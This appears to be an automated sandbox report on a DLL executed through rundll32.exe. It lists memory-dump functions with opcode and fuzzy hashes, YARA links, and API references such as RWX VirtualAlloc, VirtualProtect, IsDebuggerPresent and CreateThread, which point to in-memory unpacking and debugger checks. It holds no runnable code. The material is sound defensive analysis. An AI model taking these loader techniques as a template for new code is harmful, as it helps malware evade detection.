Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4e5577148bbb7d0f7a675b81452cb60d8faf7048b5b59c08d2d16c2c1418589
Instruction ID: 1553039997de8c938599b68ceb11c36c3e21ff06a52a34daf38530da957d3db1
Opcode Fuzzy Hash: b4e5577148bbb7d0f7a675b81452cb60d8faf7048b5b59c08d2d16c2c1418589
Instruction Fuzzy Hash: 2AA103746287069BD754CE9EC4907AAB7E2FB86314F24C97DC4588B385EB70B841CB93

Uniqueness

Uniqueness Score: -1.00%

Function 6E6771F0, Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d429c3ac184809212723adcbd6e746b65124195a74a52075ee5fe463380fc44
Instruction ID: 5f4e020f42fcce8503870a3ed2ba57b5923131dd57a0190b67a398b59002ae1b
Opcode Fuzzy Hash: 2d429c3ac184809212723adcbd6e746b65124195a74a52075ee5fe463380fc44
Instruction Fuzzy Hash: 2DB1DC705183438FDB14CF68C45032ABBE1FF86311F148A6DE8A58B395E735E946CB82

Uniqueness

Uniqueness Score: -1.00%

Function 6E66E0A0, Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74a8e911a4f29a8feecf1261f1edd226c0157e3f3747d79cfe280e31a92c4aa2
Instruction ID: cfc3f6f6f1eb3bd9cb72043a2bbf9dcd8992ee4e2f446819c3e9a40f1eb09944
Opcode Fuzzy Hash: 74a8e911a4f29a8feecf1261f1edd226c0157e3f3747d79cfe280e31a92c4aa2
Instruction Fuzzy Hash: 54A1A0B19287128BD754CF69C94061BB7F2BFD5700F14CA2DE8A49B364E731DA058B93

Uniqueness

Uniqueness Score: -1.00%

Function 6E66FDD0, Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c31f9b7cdb9490313d3b63a32406192f5372d33359b2d824e6fbf98519c66a29
Instruction ID: 7047772b4d1e957136e7562f9291303682fd4fd0e223620773ce0e9d787ab177
Opcode Fuzzy Hash: c31f9b7cdb9490313d3b63a32406192f5372d33359b2d824e6fbf98519c66a29
Instruction Fuzzy Hash: 4E8128716287028BD750CF6AC44061AB7E3FFC6314F25C62DE4A497395EB72D841C792

Uniqueness

Uniqueness Score: -1.00%

Function 6E670220, Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2db77dfe83392df997fdca982a5963f1cf45e072480f6015c9e3b136aec9b8fb
Instruction ID: 9b82fe2a1c4a40da777a68d878b2fe94fcc3f53fccfa938a25955d948c76cbd0
Opcode Fuzzy Hash: 2db77dfe83392df997fdca982a5963f1cf45e072480f6015c9e3b136aec9b8fb
Instruction Fuzzy Hash: 51710B7261471387DFB84EA9C46112A73E2AFD2760725832DEDB6873D4FB32D891C261

Uniqueness

Uniqueness Score: -1.00%

Function 6E675CB0, Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aff05f55cec81c8cbb89bb9310e4807102455aae407b6acccf268787ed05e4ff
Instruction ID: d1fb8f4b607d99ee50974d12c7dcd6a59ef3c49c5559bc63604229c893c5e4ab
Opcode Fuzzy Hash: aff05f55cec81c8cbb89bb9310e4807102455aae407b6acccf268787ed05e4ff
Instruction Fuzzy Hash: E78109706183428FEB28CF69C45031BB7E2BFD6314F188AADE4E58B355DB359945CB82

Uniqueness

Uniqueness Score: -1.00%

Function 6E6698DA, Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7357bc719a5f8a0238a45c1f77690d5ed0b164abf6199a0695743211be5b7034
Instruction ID: c9aa5636d0c5c4a0ed4c784c806083e0d37dfaa0407e5168483bbbe2b6e7a74c
Opcode Fuzzy Hash: 7357bc719a5f8a0238a45c1f77690d5ed0b164abf6199a0695743211be5b7034
Instruction Fuzzy Hash: FF612F71A3471286EB148FAAC46067673E6AFC675CB18C72DDD654B298FB31C8018353

Uniqueness

Uniqueness Score: -1.00%

Function 6E669E70, Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d781025913a76f35b518d42bb9011f93251b6c056899b775aa9060b1c0e66a9
Instruction ID: 6d99dcc27474a3d3a77f392f28fa71d0e430d179e77e955001382cc320aa2206
Opcode Fuzzy Hash: 0d781025913a76f35b518d42bb9011f93251b6c056899b775aa9060b1c0e66a9
Instruction Fuzzy Hash: 2C6179729347238BDB144F9DC4A0A2B73A1AF86758B12832DED658B390EB31D845C3D3

Uniqueness

Uniqueness Score: -1.00%

Function 6E66A0D0, Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72a2b18218923bf33894fb5388b3e17f43bda03b1264e169f2468f23ea404246
Instruction ID: a89d7e3408b1863de506980a3442288bd6bf8df2d82f161dcef310e8e3cca840
Opcode Fuzzy Hash: 72a2b18218923bf33894fb5388b3e17f43bda03b1264e169f2468f23ea404246
Instruction Fuzzy Hash: 606167729647328BD7044F99C4A1A2BB3B4BF82750B1A832DDD658B390EB32D841C3D3

Uniqueness

Uniqueness Score: -1.00%

Function 6E671240, Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 099fc12331ff022561492b18087020d9d8d5b8bf08d513a05c8e731bfd20c05d
Instruction ID: c46a5fd623d772d2cb9786e83a70429f5d57a4b928cf564eb243066c9221b391
Opcode Fuzzy Hash: 099fc12331ff022561492b18087020d9d8d5b8bf08d513a05c8e731bfd20c05d
Instruction Fuzzy Hash: D1612E7560879257DF218EE984F035A7BA66F97210F18C2AFCC644F28ADA72C949C3C1

Uniqueness

Uniqueness Score: -1.00%

Function 6E671020, Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae64409f2d16467f71373ee2bf306acfd33e073002edd05b5c76f8db5368782a
Instruction ID: f0b7662b4aa1224a8223f294fb23b74d1251b7b576253183b2f06538cd967c78
Opcode Fuzzy Hash: ae64409f2d16467f71373ee2bf306acfd33e073002edd05b5c76f8db5368782a
Instruction Fuzzy Hash: E2610D216087935BDF71CEE988F03567BA65F97204F19C2AECC644F24ADA728D49C3C2

Uniqueness

Uniqueness Score: -1.00%

Function 6E668CC0, Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d139eb4d573b3b3d1014b080c0fd1ab8e66937a0c43eb19ae496f21c9fb69d1
Instruction ID: 7908b006df07b6a1851e2c0d652fa8c6e6b806ad351c447b37843b75b137290c
Opcode Fuzzy Hash: 3d139eb4d573b3b3d1014b080c0fd1ab8e66937a0c43eb19ae496f21c9fb69d1
Instruction Fuzzy Hash: D2513B6163471386E7548FBAC860627B3A2AFD3750B15C22CD975872B8FB718451C253

Uniqueness

Uniqueness Score: -1.00%

Function 6E668AB0, Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10a3c9910ea41fd533c8730267ed1528ca8aaa2e9f90d5bc588d437e70140cb2
Instruction ID: a07a8faa5a70b6d2368a8b314cecb4de875a78df2b5b1ade2cc32bd60d0cfb4f
Opcode Fuzzy Hash: 10a3c9910ea41fd533c8730267ed1528ca8aaa2e9f90d5bc588d437e70140cb2
Instruction Fuzzy Hash: 115148E1A25B1346E7584FBAC8A162773A2EFD7350B15C23CD9A58B3B4FB7588118343

Uniqueness

Uniqueness Score: -1.00%

Function 6E6688C0, Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0462b3abe644d686df3d15cf7fea5482de025a1b1b951e707ee8700216b69174
Instruction ID: aeafb936af5b11ba7d94a0e35139b504db4a7755e8d557398957e894508b3af6
Opcode Fuzzy Hash: 0462b3abe644d686df3d15cf7fea5482de025a1b1b951e707ee8700216b69174
Instruction Fuzzy Hash: A15116A1A3471346E7584EBEC8A162663E2AFC7350B19C33CDDA58B3B9FB758411C253

Uniqueness

Uniqueness Score: -1.00%

Function 6E67CEF8, Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcbcf9705e709eb844b646129b4b55cf383a25db1a3ec8ef676bcb8762ebb863
Instruction ID: f0c46158044e15036c7108afc50b21c6faef349583a7cc97d19c130afda6fa86
Opcode Fuzzy Hash: fcbcf9705e709eb844b646129b4b55cf383a25db1a3ec8ef676bcb8762ebb863
Instruction Fuzzy Hash: E2414E7131415659EF708EEA88A07FE37919F5B758F106926FD12CE1C4E73AC8C1D290

Uniqueness

Uniqueness Score: -1.00%

Function 6E6696D0, Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b175748cf7301ee0c6ed0bf10d9d1cc7f3f0d81bd195dc22fade8a8467494fda
Instruction ID: 81f9683aabffd62c8f755c2c2be5778cb6219b9d11c29d351f1ea59b553326e6
Opcode Fuzzy Hash: b175748cf7301ee0c6ed0bf10d9d1cc7f3f0d81bd195dc22fade8a8467494fda
Instruction Fuzzy Hash: F8412A7292462247D7144FADC89066677B5EF86368F15833DECA68B3D0EB319851C3D2

Uniqueness

Uniqueness Score: -1.00%

Function 6E662980, Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9a8627b514093a793c5de32380664d4d0c11d1ac68916256d74f49af5348cf8
Instruction ID: bf80c24e2d19095ff0197bf0f08c46e395cc92e806ebc2f06e3a7b33791602d3
Opcode Fuzzy Hash: f9a8627b514093a793c5de32380664d4d0c11d1ac68916256d74f49af5348cf8
Instruction Fuzzy Hash: EF41C5301343069BD704DFE5CC60BEA33A8AF92718F448D2CE8555B2A2EF71A955C79B

Uniqueness

Uniqueness Score: -1.00%

Function 6E67BE30, Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76f6433e3c74a3447e8eaa2ba15ee16424b61191432471d824bdce721637ee07
Instruction ID: 4aa8be0928bb2eb6adb2b98c68a621a006312a97918b969cb16789b235c6a3ac
Opcode Fuzzy Hash: 76f6433e3c74a3447e8eaa2ba15ee16424b61191432471d824bdce721637ee07
Instruction Fuzzy Hash: 63F0E274204503AAFF614EE98CA0B5633DE9F073D8F101966E630C539CFB21C4044612

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 6540 Parent PID: 6508 rundll32.exeCOMMON

Executed Functions

Function 6E79BA72, Relevance: 13.8, APIs: 9, Instructions: 318memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,000006CA,00003000,00000040,000006CA,6E79B4C0), ref: 6E79BB2F
VirtualAlloc.KERNEL32(00000000,00000138,00003000,00000040,6E79B520), ref: 6E79BB66
VirtualAlloc.KERNEL32(00000000,0003C452,00003000,00000040), ref: 6E79BBC6
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6E79BBFC
VirtualProtect.KERNEL32(6E650000,00000000,00000004,6E79BA51), ref: 6E79BD01
VirtualProtect.KERNEL32(6E650000,00001000,00000004,6E79BA51), ref: 6E79BD28
VirtualProtect.KERNEL32(00000000,?,00000002,6E79BA51), ref: 6E79BDF5
VirtualProtect.KERNEL32(00000000,?,00000002,6E79BA51,?), ref: 6E79BE4B
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6E79BE67

Memory Dump Source

Source File: 00000004.00000002.900456744.000000006E79B000.00000040.00020000.sdmp, Offset: 6E79B000, based on PE: false

Similarity

API ID: Virtual$Protect$Alloc$Free
String ID:
API String ID: 2574235972-0
Opcode ID: 623767ba2e3a7c7d0b172c65f64f1ac8c574a60b99b15513513a4157166d0342
Instruction ID: 4c5c86fc4c9ddaff3a9169ecf19d4f4bf64502cb9a1462c98546600c825eabc7
Opcode Fuzzy Hash: 623767ba2e3a7c7d0b172c65f64f1ac8c574a60b99b15513513a4157166d0342
Instruction Fuzzy Hash: F7D17D72500A01EFDB51CF54E980B9277A5FF88350B080994ED299F36EDBB6B801DB78

Uniqueness

Uniqueness Score: -1.00%

Function 6E697560, Relevance: 1.8, APIs: 1, Instructions: 259memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6E6967B0: RtlEnterCriticalSection.NTDLL(?), ref: 6E6967BF

RtlAllocateHeap.NTDLL(6E79A374,00000000,?), ref: 6E6976F2

Memory Dump Source

Source File: 00000004.00000002.875438548.000000006E68D000.00000020.00020000.sdmp, Offset: 6E68D000, based on PE: false

Similarity

API ID: AllocateCriticalEnterHeapSection
String ID:
API String ID: 8947104-0
Opcode ID: cfb61420649b3133e23b9e8bbea7a10a735a67fa196baac2dd9692eaaf4f0b6b
Instruction ID: c16c70d301afbc6a31895159c82245530e6bb5d89dd50e1161e2d18dd373c0fc
Opcode Fuzzy Hash: cfb61420649b3133e23b9e8bbea7a10a735a67fa196baac2dd9692eaaf4f0b6b
Instruction Fuzzy Hash: AEB15AB590020A9FDF04CF98D891BDEBBB9BF4A314F148529E815AB3C1D774A941CFA4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6E6C8B60, Relevance: 61.9, APIs: 33, Strings: 2, Instructions: 602COMMON

Download Yara Rule

APIs

__invoke_watson_if_error.LIBCMTD ref: 6E6C8C99
OutputDebugStringW.KERNEL32(6E72EC48), ref: 6E6C8CA6
OutputDebugStringW.KERNEL32(6E72EC94), ref: 6E6C8CCE
OutputDebugStringW.KERNEL32(6E72ECB4), ref: 6E6C8CD9
OutputDebugStringW.KERNEL32(?), ref: 6E6C8CE6
OutputDebugStringW.KERNEL32(6E72DAFC), ref: 6E6C8CF1
__strftime_l.LIBCMTD ref: 6E6C8D4C
__aligned_msize.LIBCMTD ref: 6E6C8DCA
__invoke_watson_if_error.LIBCMTD ref: 6E6C8DD3
__aligned_msize.LIBCMTD ref: 6E6C8E26
__invoke_watson_if_error.LIBCMTD ref: 6E6C8E2F
__aligned_msize.LIBCMTD ref: 6E6C8E60
__invoke_watson_if_error.LIBCMTD ref: 6E6C8E69
__aligned_msize.LIBCMTD ref: 6E6C8EAD
__invoke_watson_if_error.LIBCMTD ref: 6E6C8EB6
__aligned_msize.LIBCMTD ref: 6E6C8EE5
__invoke_watson_if_error.LIBCMTD ref: 6E6C8EEE
__aligned_msize.LIBCMTD ref: 6E6C8FC5
__invoke_watson_if_error.LIBCMTD ref: 6E6C8FCE
__aligned_msize.LIBCMTD ref: 6E6C9001
__invoke_watson_if_error.LIBCMTD ref: 6E6C900A
__cftoe.LIBCMTD ref: 6E6C9043
__aligned_msize.LIBCMTD ref: 6E6C908A
__invoke_watson_if_error.LIBCMTD ref: 6E6C9093

Strings

P, xrefs: 6E6C935A
@rn, xrefs: 6E6C8E13, 6E6C8E19

Memory Dump Source

Source File: 00000004.00000002.875438548.000000006E68D000.00000020.00020000.sdmp, Offset: 6E68D000, based on PE: false

Similarity

API ID: __invoke_watson_if_error$__aligned_msize$DebugOutputString$__cftoe__strftime_l
String ID: @rn$P
API String ID: 4201128107-2741016592
Opcode ID: 3653641d2ef42433c87227b0d5e9a5022c30041af6211d07a7986a355f4254ed
Instruction ID: ff31e7dd064e87154be7a261b9a005e3c922b9e5f1cecdc527d65d2496502cbe
Opcode Fuzzy Hash: 3653641d2ef42433c87227b0d5e9a5022c30041af6211d07a7986a355f4254ed
Instruction Fuzzy Hash: B432A471D40718EFEB60CFA4CC49FDA7378FB49709F0085A9E5486A290DB709A89CF65

Uniqueness

Uniqueness Score: -1.00%

Function 6E6C97B0, Relevance: 7.6, APIs: 5, Instructions: 116threadtimeCOMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,6E6C9B96,6E71E700,6E79A5A0,6E6D7094,?,6E6D7094,6E79A5A0,6E71E700,00012010), ref: 6E6C97C0
IsDebuggerPresent.KERNEL32(?,?,?,?,6E6C9B96,6E71E700,6E79A5A0,6E6D7094,?,6E6D7094,6E79A5A0,6E71E700,00012010), ref: 6E6C97FA

Part of subcall function 6E6C9A50: OutputDebugStringW.KERNEL32(?,?,6E6C97D9,00000000,?,?,?,?,6E6C9B96,6E71E700,6E79A5A0,6E6D7094,?,6E6D7094,6E79A5A0), ref: 6E6C9A5B

CreateThread.KERNEL32(00000000,00000000,6E6C99E0,?,00000000,00000000), ref: 6E6C9852
std::_Timevec::_Timevec.LIBCPMTD ref: 6E6C985C
WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000,00000000), ref: 6E6C9894

Memory Dump Source

Source File: 00000004.00000002.875438548.000000006E68D000.00000020.00020000.sdmp, Offset: 6E68D000, based on PE: false

Similarity

API ID: DebuggerPresent$CreateDebugObjectOutputSingleStringThreadTimevecTimevec::_Waitstd::_
String ID:
API String ID: 3615580482-0
Opcode ID: 0c568e3b2274ff470d927734e70f4f1800709b6f9f24946f92a14b50abc9da6b
Instruction ID: 418059a4ec64103be4e99c3d8c31f3fbbfa717f8c3bc77a1a76542d69ac166e2
Opcode Fuzzy Hash: 0c568e3b2274ff470d927734e70f4f1800709b6f9f24946f92a14b50abc9da6b
Instruction Fuzzy Hash: 3C413BB1D05219ABDF04CFE5C851BEE7BB8FF05B0CF048559E416AA180EB349605CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 6E6E2750, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,6E6E2B0D), ref: 6E6E278D
GetACP.KERNEL32(?,?,6E6E2B0D), ref: 6E6E27A1
GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002), ref: 6E6E27D2

Strings

+nn, xrefs: 6E6E2786

Memory Dump Source

Source File: 00000004.00000002.875438548.000000006E68D000.00000020.00020000.sdmp, Offset: 6E68D000, based on PE: false

Similarity

API ID: InfoLocale
String ID: +nn
API String ID: 2299586839-3057820854
Opcode ID: 7c9ffa027c0cdaa5ca15e2cc68647f049e9d422c41d84fb8c9974947f93817fc
Instruction ID: fa9fc0ed1067f2dba7dd49a120dccdcff534a281986390e36a48899ca368e68e
Opcode Fuzzy Hash: 7c9ffa027c0cdaa5ca15e2cc68647f049e9d422c41d84fb8c9974947f93817fc
Instruction Fuzzy Hash: FD11907461A20AEFEF40CEE1D895FDA7B7AAB06345F208418F9098B9C0E730EA41D751

Uniqueness

Uniqueness Score: -1.00%

Function 6E6E2960, Relevance: 6.2, APIs: 4, Instructions: 232COMMON

Download Yara Rule

APIs

IsValidCodePage.KERNEL32(0000FDE9), ref: 6E6E2B30

Part of subcall function 6E6E1E20: GetUserDefaultLCID.KERNEL32(?,?,6E6E2AD3,?,?,?,?,?,?,?,?,?,6E6CE414,?,?,?), ref: 6E6E1E36

IsValidLocale.KERNEL32(00000000,00000001), ref: 6E6E2B4A
GetLocaleInfoW.KERNEL32(00000000,00001001,00000000,00000040,00000000,-00000120,00000055,00000000,00000000,?,00000055,00000000), ref: 6E6E2BB3

Memory Dump Source

Source File: 00000004.00000002.875438548.000000006E68D000.00000020.00020000.sdmp, Offset: 6E68D000, based on PE: false

Similarity

API ID: LocaleValid$CodeDefaultInfoPageUser
String ID:
API String ID: 334263767-0
Opcode ID: a762eddf6ad4ee3bf94b34d0f28abb2f6deb02a00348010cf2fd902c131bce5e
Instruction ID: 0b3e918dfb00bfbafebc7566f5649244f93ce3f122a0e9cbf8284371cb789dff
Opcode Fuzzy Hash: a762eddf6ad4ee3bf94b34d0f28abb2f6deb02a00348010cf2fd902c131bce5e
Instruction Fuzzy Hash: 98916BB0A0520ADFEB44CFD8C951BAFB7BABF45708F148418E505AB6C0D775E841CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6E6E1E60, Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(6E6E2040,00000001), ref: 6E6E1F09

Memory Dump Source

Source File: 00000004.00000002.875438548.000000006E68D000.00000020.00020000.sdmp, Offset: 6E68D000, based on PE: false

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: d81040c676e974806cf3d00584654aa6808aa082daf4146bac8a54d6da64d3ea
Instruction ID: 53663a27dbe3aab35ad044bc6f8c7f39c86c7f1be347a0d13de8d6dac28f39b7
Opcode Fuzzy Hash: d81040c676e974806cf3d00584654aa6808aa082daf4146bac8a54d6da64d3ea
Instruction Fuzzy Hash: 992126B8905208EFDB04CFD4C494B9EBBB2FB49314F108998E8255B780D375EA85DF81

Uniqueness

Uniqueness Score: -1.00%

Function 6E6E1F40, Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(6E6E24E0,00000001), ref: 6E6E1FB2

Memory Dump Source

Source File: 00000004.00000002.875438548.000000006E68D000.00000020.00020000.sdmp, Offset: 6E68D000, based on PE: false

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 05a3ad3a79cefea6a1607e4385fa4d9a06bd45cd20317d34f3a0c6d1673b7212
Instruction ID: 487afaffbaa11b3ca07cf1b2c51547303ab5d3945294d3dc10fbda9b44f2cfc0
Opcode Fuzzy Hash: 05a3ad3a79cefea6a1607e4385fa4d9a06bd45cd20317d34f3a0c6d1673b7212
